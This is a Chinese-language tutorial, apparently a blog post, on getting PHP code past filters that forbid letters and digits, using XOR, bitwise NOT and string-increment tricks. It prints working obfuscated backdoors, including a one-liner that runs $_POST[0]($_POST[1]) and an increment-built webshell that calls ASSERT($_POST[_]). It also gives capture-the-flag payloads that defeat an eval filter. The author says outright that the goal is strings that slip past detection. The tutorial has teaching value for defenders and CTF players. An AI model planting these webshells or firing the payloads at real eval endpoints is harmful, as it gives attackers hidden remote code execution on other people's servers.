利用不含字母與數字進行繞過
1.異或進行繞過
?2.取反進行繞過
?3.利用php語法繞過
利用不含字母與數字進行繞過
基本代碼運行思路理解?
<?php
? ? echo "A"^"`";
?>
運行結果為!
我們可以看到,輸出的結果是字符"!"。之所以會得到這樣的結果,是因為代碼中對字符"A"和字符"`"進行了異或操作。在PHP中,兩個變量進行異或時,先會將字符串轉換成ASCII值,再將ASCII值轉換成二進制再進行異或,異或完,又將結果從二進制轉換成了ASCII值,再將ASCII值轉換成字符串。異或操作有時也被用來交換兩個變量的值。
那么什么是異或操作呢
在php中,異或操作是兩個二進制數相同時,異或為0,不同為1
比如像上面這個例子
A的ASCII值是65,對應的二進制值是0100 0001
`的ASCII值是96,對應的二進制值是0110 0000
異或的二進制的值是00100001,對應的ASCII值是33,對應的字符串的值就是!了
我們都知道,PHP是弱類型的語言,也就是說在PHP中我們可以不預先聲明變量的類型,而直接聲明一個變量并進行初始化或賦值操作。正是由于PHP弱類型的這個特點,我們對PHP的變類型進行隱式的轉換,并利用這個特點進行一些非常規的操作。如將整型轉換成字符串型,將布爾型當作整型,或者將字符串當作函數來處理,下面我們來看一段代碼:
??<?php
? ? function B(){
? ? ? ? echo "Hello Angel_Kitty";
? ? }
? ? $_++;
? ? $__= "?" ^ "}";
? ? $__();
?>
執行結果為:Hello Angel_Kitty
我們一起來分析一下上面這段代碼:
$_++;
這行代碼的意思是對變量名為"_"
的變量進行自增操作,在PHP中未定義的變量默認值為null,null==false==0,我們可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。 $__="?" ^ "}";
對字符"?"和"}"進行異或運算,得到結果B賦給變量名為"__"(兩個下劃線)的變量 $ __ ();
通過上面的賦值操作,變量$__
的值為B,所以這行可以看作是B(),在PHP中,這行代碼表示調用函數B,所以執行結果為Hello Angel_Kitty。在PHP中,我們可以將字符串當作函數來處理。 看到這里,相信大家如果再看到類似的PHP后門應該不會那么迷惑了,你可以通過一句句的分析后門代碼來理解后門想實現的功能。
我們希望使用這種后門創建一些可以繞過檢測的并且對我們有用的字符串,如_POST"\, "system"\, "call_user_func_array",或者是任何我們需要的東西。
下面是個非常簡單的非數字字母的PHP后門:
?<?php
????@$_++;?//?$_?=?1
????$__=("#"^"|");?//?$__?=?_
????$__.=("."^"~");?//?_P
????$__.=("/"^"`");?//?_PO
????$__.=("|"^"/");?//?_POS
????$__.=("{"^"/");?//?_POST?
????${$__}[!$_](${$__}[$_]);?//?$_POST[0]($_POST[1]);
?>
那么我們現在來做一道題
這道題需要我們執行getFlag函數,通過GET傳參,并對code參數進行了字母大小寫和數字過濾
這道題就可以用異或操作來繞過
1.異或進行繞過
<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
<?php
function getFlag(){echo "{bypass successfully!}";
}
?>
payload如下:
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
"`{{{"^"?<>/"的結果是"_GET",所以${$_}[_]()=$_GET[_](),而此時_=getFlag
所以直接就執行了getFlag(),拿到flag
?2.取反進行繞過
下面是一段代碼進行原理理解:
?payload:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
?3.利用php語法繞過
利用簡單實例理解原理:
利用php語法規則
這就得借助PHP的一個小技巧,先看文檔: http://php.net/manual/zh/language.operators.increment.php
在處理字符變量的算數運算時,PHP 沿襲了 Perl 的習慣,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 將把 $a 變成'AA',而在 C 中,a = 'Z'; a++; 將把 a 變成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符變量只能遞增,不能遞減,并且只支持純字母(a-z 和 A-Z)。遞增/遞減其他字符變量則無效,原字符串沒有變化。
也就是說,'a'++ => 'b','b'++ => 'c'... 所以,我們只要能拿到一個變量,其值為a,通過自增操作即可獲得a-z中所有字符。
那么,如何拿到一個值為字符串'a'的變量呢?
巧了,數組(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。也就是說,我們可以同時拿到小寫和大寫A,等于我們就可以拿到a-z和A-Z的所有字母。
在PHP中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為Array:
再取這個字符串的第一個字母,就可以獲得'A'了。
利用這個技巧,我編寫了如下webshell(因為PHP函數是大小寫不敏感的,所以我們最終執行的是ASSERT($POST[]),無需獲取小寫a)
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
payload:
?code=$啊="@@^|@@@"^"'%*:,!'";$啊();